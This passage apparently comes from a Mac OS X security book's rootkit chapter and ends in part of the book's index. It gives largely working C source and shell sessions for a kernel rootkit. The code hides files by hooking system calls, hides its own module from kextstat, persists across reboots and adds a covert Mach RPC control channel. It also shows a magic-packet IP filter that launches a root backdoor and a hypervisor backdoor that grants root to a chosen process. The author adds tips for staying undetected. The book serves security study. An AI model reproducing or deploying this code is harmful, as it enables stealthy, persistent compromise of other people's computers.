is_optional_addy((x)+2) && is_optional_addy((x)+3) && is_small((x)+4) 

&& is_small((x)+5) )

#define is_sysent(x)            (is_stuct_sysent((x)) && 

is_stuct_sysent((x+6)) && is_stuct_sysent((x+12)))

static struct sysent *find_sysent () {     

     unsigned int *looker = (unsigned int *) ( ((char *) &nsysent) + 

sizeof(nsysent) );

     while(!is_sysent(looker)){

            looker++;

                    }

                    printf(“Found sysent table at %x\n”, looker);

                    return (struct sysent *) looker;

}
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Finally, the followed code is executed when the kext is loaded. It is responsible 
for doing the actual system-call hooking.

kern_return_t hidefile_start (kmod_info_t *ki, void *d) {

     _sysent = find_sysent();

     if (_sysent == NULL) {

            return KERN_FAILURE;

     }

     real_getdirentriesattr = (getdirentriesattr_t *) 

_sysent[SYS_getdirentriesattr].sy_call;

     _sysent[SYS_getdirentriesattr].sy_call = (sy_call_t *) 

our_getdirentriesattr;

     real_getdirentries64 = (getdirentries64_t *) 

_sysent[SYS_getdirentries64].sy_call;

     _sysent[SYS_getdirentries64].sy_call = (sy_call_t *) 

our_getdirentries64;

     printf(“[hidefile] Patching system calls\n”);

    return KERN_SUCCESS;

kern_return_t hidefile_stop (kmod_info_t * ki, void * d) {

     _sysent[SYS_getdirentriesattr].sy_call = (sy_call_t *) 

real_getdirentriesattr;

     _sysent[SYS_getdirentries64].sy_call = (sy_call_t *) 

real_getdirentries64;

printf(“[hidefile] Unpatching system calls\n”);

    return KERN_SUCCESS;

}

This code begins by declaring the various structures and variables the code 
needs. There are the two hooking functions: our_getdirentriesattr and our_get-
direntries64. The most important part occurs in the hidefi le_start function. This 
locates the sysent table and actually hooks the two system-call functions. Be 
sure to unhook the sysent table when you unload the kernel module. 

 Keep in mind that bugs in regular programs crash the program, but bugs 
in kernel code crash the kernel—i.e., the whole system. Unfortunately, debug-
ging kernel code often involves a large number of reboots. Take a look at this 
rootkit in action.

$ ls

Writing A Template, Sample, Instructions     macosx-book

fuzzing-book                                 testfile.txt

haxortime.txt

$ sudo kextload /tmp/pt_deny_attach.kext

kextload: /tmp/pt_deny_attach.kext loaded successfully
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$ ls

Writing A Template, Sample, Instructions     macosx-book

fuzzing-book                                 testfile.txt

The haxortime.txt fi le is now hidden! Notice, though, it is still not completely 
undetectable.

$ ls h*

haxortime.txt

Here the bash shell expands the asterisk (*) to fi nd the hidden fi le. Breaking 
out DTrace reveals that it uses yet another system call, this time getdirentries.

$ sudo dtrace -s finder-finder.d 

dtrace: script ‘finder-finder.d’ matched 427 probes

CPU     ID                    FUNCTION:NAME

  0  17598                       read:entry 

  0  17598                       read:entry 

  0  18386             write_nocancel:entry 

  0  17698                sigaltstack:entry 

  0  17598                       read:entry 

  1  17688                sigprocmask:entry 

  0  18386             write_nocancel:entry 

  0  17684                  sigaction:entry 

  0  17684                  sigaction:entry 

  0  18388              open_nocancel:entry 

  0  18404             fcntl_nocancel:entry 

  0  17908                    fstatfs:entry 

  0  17984              getdirentries:entry 

…

You may experiment with hiding from this system call.

Hiding the Rootkit

The previous section demonstrated a fi le-hiding kernel module. This module 
made no effort to hide itself from the victim, however. 

$ kextstat

Index Refs Address    Size       Wired      Name (Version) <Linked 

Against>

    1    2 0x0        0x0        0x0        com.apple.kernel (9.4.0)

…

  143    0 0x341d0000 0x2000     0x1000     book.macosx.kext.hidefile 

(2.0) <1>

Not exactly stealthy. The previous section demonstrated that by observing 
the system calls used by kextstat, system-call hooking techniques could be used 
to hide the module. Although the kernel still could “see” the fi le, the rootkit 
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changed the answers the kernel gave to applications through system calls. In 
this section, instead of changing what the kernel says, the extension will actu-
ally change the kernel’s view of things. 

Once the kernel extension is running within the kernel, all of the data struc-
tures the kernel uses are available. As seen with the sysent table, they may not 
all be directly accessible in source code, but if the kext can fi nd them, it can 
manipulate them.

First we need to digress a bit and talk about the way the kernel organizes 
and manages the kernel extensions that are loaded. The information about 
each loaded kernel module is stored as a struct kmod_info; see osfmk/mach/
kmod.h in the kernel source.

typedef struct kmod_info {

        struct kmod_info        *next;

        int                     info_version;           // version of 

this structure

        int                     id;

        char                    name[KMOD_MAX_NAME];

        char                    version[KMOD_MAX_NAME];

        int                     reference_count;        // # refs to 

this

        kmod_reference_t        *reference_list;        // who this refs

        vm_address_t            address;                // starting 

address

        vm_size_t               size;                   // total size

        vm_size_t               hdr_size;               // unwired hdr 

size

        kmod_start_func_t       *start;

        kmod_stop_func_t        *stop;

} kmod_info_t;

All of the modules are stored in a linked list, and a pointer called kmod points 
to the head of the linked list. The last module in the list has the next pointer set 
to zero. The following function from the kernel shows how to iterate through 
the list of kernel-module information (from osfmk/kern/kmod.c).

kmod_info_t *

kmod_lookupbyname(const char * name)

{

    kmod_info_t *k = NULL;

    k = kmod;

    while (k) {

        if (!strncmp(k->name, name, sizeof(k->name)))

             break;

        k = k->next;

    }

    return k;

}
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To hide the rootkit, it simply needs to be removed from this linked list. In 
this way, when the kernel iterates through the list looking for all the modules, 
it will never encounter the hidden one, although the code will still be resident 
in the kernel. Another byproduct of this, which can be considered either good 
or bad, is that the module can never be unloaded, since the code responsible for 
unloading a module also uses this method for locating modules.

The main obstacle, like in the sysent table case, is fi nding the head of the 
linked list, as kmod is not an exported symbol. Looking at the kernel code 
that is executed when a new module is loaded, it becomes clear that each new 
module is added to the beginning of the linked list.

kern_return_t

kmod_create_internal(kmod_info_t *info, kmod_t *id)

{

…

    info->id = kmod_index++;

    info->reference_count = 0;

    info->next = kmod;

    kmod = info;

…

In this case, the new module is called info. Its next pointer is set to kmod (the 
old head of the list) and kmod is set to the new head of the list. One approach 
to remove this module from the linked list would be simply to fi nd the kmod 
pointer and set it to the second module’s information. An easier way is to use a 
second kernel module. Simply create a new kernel module (named kmod_hider) 
that removes the fi rst kernel module from the linked list, as follows.

 1. Load hidefi le—or whatever kext you are trying to hide.

 2. Load kmod_hider (kmod_hider’s next pointer points at hidefi le). kmod_
hider sets its next pointer to the module after hidefi le.

 3. Remove kmod_hider.

When kmod_hider is removed, the new head of the list will be the module 
after hidefi le, and hidefi le will no longer be in the linked list. All of this is 
done without ever knowing the value of kmod. Here is the source code for 
kmod_hider.

#include <mach/mach_types.h>

#include <sys/systm.h>

kern_return_t kmod_hider_start (kmod_info_t * ki, void * d) {

     printf(“In start\n”);

     ki->next = ki->next->next;

     return KERN_SUCCESS;

}
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kern_return_t kmod_hider_stop (kmod_info_t * ki, void * d) {

    printf(“In stop\n”);

    return KERN_SUCCESS;

}

Here is the process in action.

$ ls

Writing A Template, Sample, Instructions     macosx-book

fuzzing-book                         testfile.txt

haxortime.txt

Here is the fi le that needs to be hidden. Install both kernel extensions.

$ sudo kextload /tmp/hidefile.kext

kextload: /tmp/hidefile.kext loaded successfully

$ sudo kextload /tmp/kmod_hider.kext

kextload: /tmp/kmod_hider.kext loaded successfully

$ kextstat | tail -3

  117    0 0xc18000   0x10000    0xf000     com.parallels.kext.vmmain 

(3.0) <12 7 6 5 4 2>

  118    0 0x53308000 0x3000     0x2000     com.parallels.kext.Pvsvnic 

(3.0) <39 5 4>

  120    0 0x343db000 0x2000     0x1000     

com.yourcompany.kext.kmod_hider (1.0.0d1) <5 2>

The hidefi le  module (with index 119) doesn’t appear since it has been removed 
from the linked list. All that remains is to remove the hider itself.

$ sudo kextunload /tmp/kmod_hider.kext

kextunload: unload kext /tmp/hello-kernel.kext succeeded

Verify that life is good.

$ kextstat | tail -3

  116    0 0xc33000   0x14000    0x13000    

com.parallels.kext.hypervisor (3.0) <12 7 6 5 4 2>

  117    0 0xc18000   0x10000    0xf000     com.parallels.kext.vmmain 

(3.0) <12 7 6 5 4 2>

  118    0 0x53308000 0x3000     0x2000     com.parallels.kext.Pvsvnic 

(3.0) <39 5 4>

$ ls

Writing A Template, Sample, Instructions     macosx-book

fuzzing-book                                 testfile.txt

Yes, the module is still working since the fi le is hidden, and it doesn’t show 
up in the module list. One fi nal note: Don’t forget to remove all those printf 
statements from the code if you really want to remain undetected.
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Maintaining Access across Reboots

So far you have always loaded the rootkit manually. It is desirable that it is 
always installed, even immediately following a reboot by the user.

When the system is booting up, the BootX booter needs to mount the root 
fi le system. To do this, it must load some kexts. The boot loader fi rst attempts to 
load a previously cached set of device drivers. If the cache is missing, it searches 
/System/Library/Extensions for any kext whose OSBundleRequired value is 
set to the appropriate value in its Info.plist fi le. The possible values include the 
following:

 Root—The kext is required to mount root of any kind. ■

  Network-Root—The kext is required to mount root on a remote fi le  ■

volume.

 Local-Root—This kext is required to mount root on a local volume. ■

 Console—This kext is required for console support. ■

 Safe Boot—This kext is required except in safe mode. ■

From a perspective of trying to maintain presence on the machine, the choice 
should probably be Root. This will force the kernel extension to be loaded at 
boot time, even during safe mode or single-user mode. 

One drawback is that the above technique to have drivers loaded at boot time 
only works for IOKit drivers as opposed to generic kernel extensions, like all 
the code in this chapter up to this point. IOKit drivers are written in C++ and 
are slightly harder to set up. The following is the equivalent hello world IOKit 
driver. First, a simple header fi le:

#include <IOKit/IOService.h>

class com_MyTutorial_driver_HelloIOKit : public IOService

     {

            OSDeclareDefaultStructors(com_MyTutorial_driver_HelloIOKit)

public:

                    virtual bool init(OSDictionary *dictionary = 0);

                    virtual void free(void);

                    virtual IOService *probe(IOService *provider, SInt32 

*score);

                    virtual bool start(IOService *provider);

                    virtual void stop(IOService *provider);

     };

Here is the C++ fi le:

#include <IOKit/IOLib.h>

#include “HelloIOKit.h”

extern “C” {

#include <pexpert/pexpert.h>//This is for debugging purposes ONLY

}
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// Define my superclass

#define super IOService

     // REQUIRED! This macro defines the class’s constructors, 

destructors,

     // and several other methods I/O Kit requires. Do NOT use super as 

the

     // second parameter. You must use the literal name of the 

superclass.

OSDefineMetaClassAndStructors(com_MyTutorial_driver_HelloIOKit, 

IOService)

     bool com_MyTutorial_driver_HelloIOKit::init(OSDictionary *dict)

     {

            bool res = super::init(dict);

            IOLog(“Initializing\n”);

            return res;

}     

     void com_MyTutorial_driver_HelloIOKit::free(void)

     {

            IOLog(“Freeing\n”);

            super::free();

     }

     IOService *com_MyTutorial_driver_HelloIOKit::probe(IOService 

*provider, SInt32

            *score)

     {

            IOService *res = super::probe(provider, score);

            IOLog(“Probing\n”);

            return res;

     }

     bool com_MyTutorial_driver_HelloIOKit::start(IOService *provider)

     {

            bool res = super::start(provider);

            IOLog(“Starting\n”);

            return res;

     }

     void com_MyTutorial_driver_HelloIOKit::stop(IOService *provider)

     {

            IOLog(“Stopping\n”);

            super::stop(provider);

     }

Finally, the Info.plist fi le:

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” 
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“http://www.apple.com/DTDs/PropertyList-1.0.dtd”>

<plist version=”1.0”>

<dict>

       <key>CFBundleDevelopmentRegion</key>

       <string>English</string>

       <key>CFBundleExecutable</key>

       <string>${EXECUTABLE_NAME}</string>

       <key>CFBundleName</key>

       <string>${PRODUCT_NAME}</string>

       <key>CFBundleIconFile</key>

       <string></string>

       <key>CFBundleIdentifier</key>

       <string>com.MyTutorial.driver.HelloIOKit</string>

       <key>CFBundleInfoDictionaryVersion</key>

       <string>6.0</string>

       <key>CFBundlePackageType</key>

       <string>KEXT</string>

       <key>CFBundleSignature</key>

       <string>????</string>

       <key>CFBundleVersion</key>

       <string>1.0.0d1</string>

       <key>IOKitPersonalities</key>

       <dict>

              <key>HelloIOKit</key>

              <dict>

                       <key>CFBundleIdentifier</key>

<string>com.MyTutorial.driver.HelloIOKit</string>

                       <key>IOClass</key>

<string>com_MyTutorial_driver_HelloIOKit</string>

                       <key>IOKitDebug</key>

                       <integer>65535</integer>

                       <key>IOMatchCategory</key>

<string>com_MyTutorial_driver_HelloIOKit</string>

                       <key>IOProviderClass</key>

                       <string>IOResources</string>

                       <key>IOResourceMatch</key>

                       <string>IOKit</string>

               </dict>

        </dict>

        <key>OSBundleLibraries</key>

        <dict>

                         <key>com.apple.kernel.iokit</key>

                         <string>6.9.9</string>

                         <key>com.apple.kernel.libkern</key>

                         <string>6.9.9</string>

                         <key>com.apple.kernel.mach</key>

                         <string>6.9.9</string>

        </dict>

</dict>

</plist>
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It is not diffi cult to convert the early examples from this chapter from generic 
kernel extensions to IOKit drivers. Starting from this example, if you want the 
extension to be loaded by the operating system at startup, add the following to 
the extensions Info.plist fi le:

        <key>OSBundleRequired</key>

        <string>Root</string>

Then copy it to the location of the system extensions.

$ sudo cp -r HelloIOKit.kext /System/Library/Extensions

$ sudo chown -R root:wheel /System/Library/Extensions/HelloIOKit.kext

Finally, touch the directory so that the system updates the cache.

$ sudo touch /System/Library/Extensions

To test these changes, reboot the system and see whether the extension is 
automatically loaded. Indeed it is.

$ kextstat | grep -C 2 Hello

  104    0 0x34c59000 0x7000     0x6000     com.apple.iokit.CHUDUtils 

(200) <95 6 5 4 2>

  105    0 0x34aba000 0x3000     0x2000     

com.apple.Dont_Steal_Mac_OS_X (6.0.2) <77 7 5 4 2>

  106    0 0x34acb000 0x2000     0x1000     

com.MyTutorial.driver.HelloIOKit (1.0.0d1) <12>

  107    0 0x34e1c000 0x10000    0xf000     

com.apple.driver.DiskImages (192.1) <38 7 6 5 4 2>

  108    0 0x34e2c000 0x6000     0x5000     com.parallels.kext.Pvsnet 

(3.0) <6 5 4 2>

Notice that the extension is no longer the last module loaded.

Controlling the Rootkit

One of the most interesting things about Mac OS X is its multitude of disparate 
kernel interfaces. In addition to BSD and Mach system calls, sysctls, ioctls, and 
IOKit user clients, there are also in-kernel Mach RPC servers. Many of the histor-
ical Mach servers now live in the kernel rather than in separate server processes. 
Since this is a relatively obscure kernel facility, it makes it an interesting place to 
hide a rootkit control channel. It also makes it easy to call these functions from 
a user-land control utility, because the MIG-generated stub routines handle all 
of the type conversion and messaging. In this section we will demonstrate how 
to add an in-kernel RPC control channel to the rootkit.
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Creating the RPC Server
First we will create a simple MIG defi nitions fi le. In this fi le we declare that we 
are defi ning a subsystem called krpc with subsystem identifi er 1337 that will 
run with the server in the kernel. We defi ne a single routine, krpc_ping. Every 
Mach RPC routine must take a mach port as its fi rst argument that is used to 
indicate the server to which the request will be sent.

subsystem KernelServer krpc 1337;

#include <mach/std_types.defs>

#include <mach/mach_types.defs>

routine krpc_ping(p : mach_port_t);

When we process this fi le with /usr/bin/mig, it generates a few new fi les: 
krpc.h, krpcServer.c, and krpcUser.c. In our kernel rootkit, we will include 
krpcServer.c, which implements the in-kernel server-side RPC stubs. We will 
also need to include krpc.h and implement the server-side RPC routines in C. 
The implementations of RPC routines look similar to the routine declarations 
in the defs fi le, but with the MIG types translated to C language types. For an 
exact declaration, we can check the generated header fi le (krpc.h).

kern_return_t krpc_ping

(

        mach_port_t p

);

Now in our rootkit we will implement this function and the server stubs will 
call it whenever they receive an RPC request for it.

kern_return_t krpc_ping(mach_port_t p) 

{

     printf(“ping\n”);

     return KERN_SUCCESS;

}

Injecting Kernel RPC Servers
The Mac OS X kernel does not support dynamically adding or removing in-
kernel Mach RPC servers. The in-kernel RPC-server dispatch table is initialized 
once and never modifi ed afterwards. Since we are writing a rootkit, however, 
we expect to break the rules a little bit.

This in-kernel RPC-server dispatch table is a hash table called mig_buckets 
in osfmk/kern/ipc_kobject.c. The kernel receives incoming mach messages on 
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its host server port and dispatches them based on the subroutine identifi ers in 
their Mach header through this hash table.

Our rootkit injects its RPC server by directly modifying the mig_buckets 
hash table. The functions to add and remove the RPC server from the table are 
shown in the following code, and are called by our Kernel Extension start and 
stop functions.

int inject_subsystem(const struct mig_subsystem * mig)

{

    mach_msg_id_t h, i, r;

    // Insert each subroutine into mig_buckets hash table

    for (i = mig->start; i < mig->end; i++) {

        mig_hash_t* bucket;

        h = MIG_HASH(i);

        do {

            bucket = &mig_buckets[h % MAX_MIG_ENTRIES];

        } while (mig_buckets[h++ % MAX_MIG_ENTRIES].num != 0 &&

                 h < MIG_HASH(i) + MAX_MIG_ENTRIES);

        if (bucket->num == 0) {

            // We found a free spot

            r = mig->start - i;

            bucket->num = i;

            bucket->routine = mig->routine[r].stub_routine;

            if (mig->routine[r].max_reply_msg)

                bucket->size = mig->routine[r].max_reply_msg;

            else

                bucket->size = mig->maxsize;

            }

        else {

            // Table was full, return an error

            return -1;

        }

    }

    return 0;

}

int remove_subsystem(const struct mig_subsystem * mig)

{

    mach_msg_id_t h, i;

    // Remove each subroutine exhaustively from the mig_buckets table

    for (i = mig->start; i < mig->end; i++) {

        for (h = 0; h < MAX_MIG_ENTRIES; h++) {

            if (mig_buckets[h].num == i) {
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                bzero(&mig_buckets[h], sizeof(mig_buckets[h]));

            }

        }

    }

    return 0;

}

Calling the Kernel RPC Server
Our in-kernel RPC server is called just like any other Mach RPC server: magi-
cally through MIG-generated client stubs. Our simple control utility, shown 
here, calls krpc_ping() through the Kernel’s host port.

#include <stdio.h>

#include <stdlib.h>

#include <err.h>

#include <mach/mach_error.h>

#include “krpc.h”

int main(int argc, char* argv[])

{

    kern_return_t kr;

    if ((kr = krpc_ping(mach_host_self())) != KERN_SUCCESS) {

        errx(EXIT_FAILURE, “krpc_ping: %s”, mach_error_string(kr));

    }

    return 0;

}

When our rootkit is loaded, this call succeeds and returns KERN_SUCCESS. 
When our rootkit is not loaded, however, we get an error from the kernel that 
it did not recognize our message ID.

% ./KRPCClient

KRPCClient: krpc_ping: (ipc/mig) bad request message ID

Remote Access

To allow our rootkit to provide remote access to the system, we are going to 
make our rootkit install an IP Filter. Using the IP Filter kernel programming 
interface (KPI), our rootkit will receive unfragmented IP packets before they 
are received by or sent from the host. This will allow us to observe, fi lter, and 
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inject packets from our rootkit and use this capability to implement a remote-
control channel over IP. 

Our rootkit will inspect incoming packets for a “magic packet” pattern that 
identifi es rootkit backdoor activation and intercept these packets before the host 
receives them. Special characteristics of the body of the IP packet will identify 
these magic packets so that they can be sent as any type of packet (TCP, UDP, 
IPSEC, etc). This gives us fl exibility in making sure the packets can reach the 
target, even if it is behind a fi rewall. If any type of IP packet from the outside 
reaches the target host, even if such packets will be dropped by its host fi rewall, 
we will be able to communicate with our rootkit.

To install an IP Filter, we must declare a fi lter-defi nition structure contain-
ing a “cookie” value used to identify the fi lter, a description string, and three 
event functions to handle input, output, and the detaching of the fi lter. Our 
fi lter-defi nition structure is shown here:

struct ipf_filter filter_definition = {

        (void*)0xdeadbeef,

        “”,

        on_input,

        on_output,

        on_detach

};

We install our fi lter using the ipf_addv4() function with the fi lter-defi nition 
structure and a pointer to an ipfi lter_t variable to hold the reference to our 
installed fi lter. If we call ipf_addv4() with that same reference later on, the kernel 
will detach the specifi ed fi lter. Since the same code can be used to attach and 
detach the fi lter, we use a toggle_ipfi lter() function as shown here:

static ipfilter_t installed_filter = 0;

static int toggle_ipfilter()

{

        errno_t err = 0;

        if ((err = ipf_addv4(&filter_definition, &installed_filter)) < 

            0) {

                printf(“ipf_addrv4 failed\n”);

        }

        return err;

}

The most interesting part of our rootkit IP fi lter is in the on_input() function. 
This function is called after the kernel defragments incoming packets. Our func-
tion’s job is simple: It looks at each incoming packet to identify whether it is a 
“magic” packet, signaling the rootkit to activate the user-land backdoor process.
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To activate the user-land daemon, we use the KUNCExecute() function. The 
kernel uses this function to launch applications and processes as necessary. 
Unfortunately, since this function does not allow us to specify command-
line arguments to the function, we have to work around this. In this case, our 
is_magic_packet() function will record remotely supplied parameters to the 
backdoor daemon and the backdoor daemon can retrieve these through the 
rootkit’s kernel RPC interface. The parameters would include how and where 
to establish a communication channel with the attacker. This allows us to defer 
most of the complicated processing to a user-land backdoor daemon, which is 
far easier to program than kernel code.

static errno_t 

on_input(void *cookie, mbuf_t *data, int offset, u_int8_t protocol)

{

        if (is_magic_packet(data)) {

             /*

               * Activate backdoor daemon as root (this file and process 

would 

               * be hidden by traditional rootkit techniques).

               */

             KUNCExecute(“/.backdoor”, kOpenAppAsRoot, 

kOpenApplicationPath);

return EJUSTRETURN;

        }

        return 0;

}

Hardware-Virtualization Rootkits

For even more advanced stealth, rootkits on Mac OS X can abuse the hardware 
virtualization features present in the Intel Core and later processors to install 
themselves as a malicious virtual-machine hypervisor and migrate the existing 
operating system transparently to run as a virtual machine. This process is called 
hyperjacking and was presented at the Black Hat USA 2006 Briefi ngs independently 
by both Dino Dai Zovi and Joanna Rutkowska . Dino Dai Zovi presented Vitriol, 
a hardware-virtualization rootkit for Mac OS X Tiger using Intel VT-x (http://
www.blackhat.com/presentations/bh-usa-06/BH-US-06-Zovi.pdf ) and Joanna 
Rutkowska presented Blue Pill, a hardware-virtualization rootkit for Windows 
XP x64 using AMD AMD-V (https://www.blackhat.com/presentations/
bh-usa-06/BH-US-06-Rutkowska.pdf). While claims of how detectable these types 
of rootkits are, they are nevertheless an interesting technique and exploration of 
the new hardware-virtualization features in current processors. 

Here we will describe only Intel’s VT-x virtualization features on Core and 
Core 2 processors. Intel’s VT-x (previously known as VMX and Vanderpool) 
extensions add a new VMX mode of operation to the processors. When the 
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processor enters VMX operation, it enables a higher-privileged processor mode 
called VMX-root mode. This mode is intended for a virtual machine moni-
tor (VMM) or hypervisor. A hypervisor running in VMX-root mode can create 
and run hardware virtual machines. When the processor is running a virtual 
machine, it is described to be running in VMX-non-root mode. These virtual 
machines have their own copies of all of the CPU features that an operating 
system would see on the processor before it entered VMX operation.

When a processor starts or resumes a virtual machine, this is called a 
VM-entry. Similarly, when an event within the virtual machine causes control 
to be returned to the hypervisor running in VMX-root mode, this is called a 
VM-exit. Before launching or resuming a virtual machine, the hypervisor confi g-
ures which events it wants to cause a VM-exit. For example, these events could 
include accessing specifi c devices, modifying privileged registers, executing 
certain instructions, or the expiration of a timer.

The source code for a proof-of-concept version of the Vitriol rootkit is available 
from this book’s website. This version is nowhere near a fully functional root-
kit; however, it demonstrates the techniques involved in hyperjacking rootkits. 
Vitriol is written as an IOKit driver so that it may be loaded early when the OS 
boots as described already.

Hyperjacking
The process of hyperjacking (Figure 12-5) involves confi guring a new virtual 
machine as a clone of the currently running operating system. The settings for 
a virtual machine are stored in a reserved piece of unpaged memory called the 
virtual-machine control structure (VMCS), which is manipulated using the vari-
ous VMX CPU instructions. The settings are divided among host-state, guest-state, 
control, and read-only data fi elds. The details of what is stored in the fi elds involve 
low-level specifi cs of the x86 operating system’s implementation and are beyond 
the scope of this book, but the interested reader can refer to the Intel Architecture 
Software Developer’s Manuals or Vitriol source code for more information. 

Hyperjacking is much more straightforward than it sounds. Just as with 
installing a traditional hypervisor, hyperjacking requires initialization of the 
host-state fi elds in the VMCS using values from the currently running operat-
ing system. This is so that the hypervisor can resume its normal operation on a 
VM-exit. Whereas a traditional hypervisor may initialize the guest-state values 
in the VMCS to simulate a PC at boot time or use saved values to resume a 
suspended operating system, a hyperjacking hypervisor will also initialize the 
guest-state fi elds in the VMCS with values from the currently running operat-
ing system. The hyperjacking hypervisor, however, will assign different values 
for the instruction pointers and stack pointers in the host and guest states. Like 
the UNIX vfork() system call, this splits the running operating system into two 
nonconcurrent threads of control: one running as a hypervisor in VMX-root 
mode and a second running as a virtual machine in VMX-non-root mode, both 
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sharing the same memory. Because they share the same physical memory, the 
hypervisor has full access to the operating system’s memory and can change it 
at will and even call internal kernel functions. Also because of this, the hyper-
visor must be very careful not to corrupt the operating system’s memory in a 
way that will make it crash.

Original OS

Original OS

Rootkit hypervisor

VMX root
VMX non-root

H
y
p
e
r
j
a
c
k

 Figure 12-5:  Hyperjacking

Rootkit Hypervisor
Before launching the victim-OS virtual machine, the hypervisor confi gures 
which events will cause a VM-exit. Whereas a traditional hypervisor may be 
interested in a large number of VM-exit events, such as hardware interrupts, 
exceptions, and all raw device accesses, a rootkit hypervisor is interested in 
a minimum number of events to better preserve the normal operation of the 
compromised operating system.

When one of the confi gured VM-exit events occurs, the OS running in the 
virtual machine is suspended and the rootkit hypervisor regains control. When 
this happens, Vitriol calls on_vm_exit() to handle the VM-exit appropriately. This 
function is the basic event fi lter for the rootkit, where it may intercept, modify, or 
drop events before they are sent to the operating-system VM. For example, the 
following code shows the structure of the on_vm_exit() function and the event-
handling code for when the guest VM exits due to an execution of the CPUID 
instruction. This implements a simple privilege-escalation backdoor where a 
magic value in the EAX register will cause the rootkit to give an indicated pro-
cess root privileges. It also shows how the RDMSR and WRMSR instructions are 
made proxy by hypervisor and run on the processor in VMX root mode.

void on_vm_exit(x86_regs_t* regs)

{

    uint32_t error = 0, exit_reason = 0, reason, instr_len, 

        guest_eip, guest_esp;

    uint32_t exit_qual = 0;

    VMREAD(VM_EXIT_REASON, &exit_reason);

    VMREAD(EXIT_QUALIFICATION, &exit_qual);

    VMREAD(GUEST_RIP, &guest_eip);
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    VMREAD(GUEST_RSP, &guest_esp);

    VMREAD(VM_EXIT_INSTRUCTION_LEN, &instr_len);

    if (exit_reason & (1 << 31)) {

        // VM entry failure

        reason = exit_reason & 0xffff;

        printf(“%s: VM entry failure, reason: %d\n”, __FUNCTION__, 

               reason);

    }

    else {

        // Handle known VM exit reasons

        reason = exit_reason & 0xffff;

        switch (reason) {

            case 0:    // Exception or NMI

            …

            case 10: // CPUID instruction

               if ((regs->eax & 0xFFFF0000) == 0xdead0000) {

                   int pid = regs->eax & 0xFFFF;

                   proc_t p = proc_find(pid);

                   if (p) {

                       struct ucred* uc = proc_ucred(p);

                       uc->cr_uid = 0;

                       proc_rele(p);

                   }

               }

               else

                   x86_cpuid(&(regs->eax), &(regs->ebx), 

                             &(regs->ecx), &(regs->edx));

…

            case 31: // RDMSR

                    x86_get_msr(regs->ecx, &(regs->eax), &(regs->edx));

                    break;

            case 32: // WRMSR

                    x86_set_msr(regs->ecx, regs->eax, regs->edx);

                    break;

…

The ability of the rootkit hypervisor to intercept device access and events 
transparently in the operating-system virtual machine gives it signifi cant sub-
versive power over the running operating system. Through creative use of debug 
registers, the hypervisor can even hook functions in the kernel without modify-
ing visible kernel memory at all by setting hardware breakpoints and handling 
the breakpoint exceptions in the hypervisor. For more detail, see the Vitriol 
source code or New Blue Pill, the second generation of Joanna Rutkowska’s Blue 
Pill rootkit for Windows x64 (http://bluepillproject.org/).

Hyperjacking hypervisors can have many other benefi cial uses. For exam-
ple, on systems where hardware virtualization is not needed, a stub hypervi-
sor could securely mitigate access to the processor’s hardware-virtualization 
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features and prevent hypervisor rootkits from installing themselves. They 
could also potentially be used to implement other security systems, such as 
host intrusion-prevention systems and antivirus that run in an address space 
safe from the reach of even malicious kernel-level software. Since hyperjacking 
is a very new technique, only time will tell what other innovative applications 
it may be employed for.

Conclusion

This chapter demonstrated how to implement existing and new rootkit tech-
niques on Mac OS X, showing how to hide the rootkit itself and other fi les, 
control the rootkit surreptitiously, activate a remote backdoor through a single 
IP packet, and give the rootkit advanced stealth capabilities through hardware 
virtualization. These techniques build on previous research into rootkits for 
Mac OS X and other systems; see the “References” section.
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module, Pai Mei, 103
profi les, Seatbelt, 30–31
Programming Under Mach 

(Addison-Wesley), 293
prolog, subroutine, 162–165
protocols

Bonjour. See Bonjour

RTSP, 52–60
providers, probes, 89
pstalker (Process Stalker) 

module, Pai Mei, 103
PT_DENY_ATTACH ptrace 

request, 86, 108–109
pthread_set_self( ) function, 

Mach injection, 302–304
pthread_trampoline, Mach 

injection, 302–303
PTR records, DNS-SD, 38
ptrace debugging facilities, 

85–86, 294
pushing stack, 162
Pwn2Own contest

CanSecWest 2008 bug, 121–122
source code for, 207–211
vulnerability exploited in, 287

PyDbg, 96–107
basics, 97–98
binary code coverage with Pai 

Mei, 102–107
in-memory fuzzing, 99–102
memory searching, 98–99
overview of, 96
Pai Mei built on top of, 103

Python, 40–41, 96
pyzeroconf package, 41

Q
QTHandleRef.toQTPointer( ) 

method, 287–288
QTPointerRef objects, 287–289
quanta of memory, 187
queries, Multicast DNS vs., 37
quicklookd, Seatbelt, 31–32
QuickTime Player, 47–61

fi le types played by, 47
Info.plist from, 18–19
.mov, 47–52
network fuzzing targeting, 

126–129
overview of, 17–19
references, 61
using RTSP protocol, 52–60

QuickTime QTJava toQTPointer( 
) memory access, 287–290

exploiting toQTPointer( ), 
288–290

obtaining code execution, 290
overview of, 287–288

QuickTime RTSP Content-Type 
header overfl ow, 262–276

exploiting on PowerPC, 
263–269

exploiting on x86, 273–276
overview of, 262
retargeting to Leopard 

(PowerPC), 269–273
triggering vulnerability, 262

QuickTime Streaming Server, 
RTSP, 54–59

95363bindex.indd   36595363bindex.indd   365 1/25/09   4:43:39 PM1/25/09   4:43:39 PM



366 Index ■ R–S

R
RCDefaultApp, 75, 77–79
Real Time Streaming Protocol. 

See RTSP (Real Time 
Streaming Protocol)

real user IDs, 215
Real-Time Control Protocol 

(RTCP), 57–58
RealTime Transport Protocol. 

See RTP (RealTime Transport 
Protocol)

real-world exploits, 261–290
mDNSResponder UPnP 

overfl ow. See 
mDNSResponder, UPnP 
location header overfl ow

overview of, 261
QuickTime memory access, 

287–290
QuickTime RTSP overfl ow. See 

QuickTime RTSP Content-
Type header overfl ow

references, 290
reboots

debugging kernel code 
involving, 341–342

maintaining access across, 
346–349

RECORD method, RTSP, 53
red zone, stack usage on 

PowerPC, 164
REDIRECT method, RTSP, 53
references

attack surfaces, 81
Bonjour, 61
bundle injection, 326
exploit payloads, 259–260
exploiting heap overfl ows, 212
exploiting stack overfl ows, 184
fi nding bugs, 134
function hooking, 326
Leopard security, 34
Mach injection, 326
Mach RPC, 295
Objective-C method swizzling, 

326
QuickTime Player, 61
real-world exploits, 290
reverse engineering, 157
rootkits, 358
RTSP, 61
tracing and debugging, 112

regions, scalable zone allocator, 
186–187

registers
executing payload from heap, 

179
PowerPC architecture, 219–220
smashing stack on PowerPC, 

165–170
smashing stack on x86, 171–172
x86, 239

regular expressions
compiling, 121
feng shui case study, 209, 211

patching CanSecWest 2008 
bug, 124–125

remote access, rootkit providing, 
352–354

Remote Apple Events, Sharing 
pane, 71–72

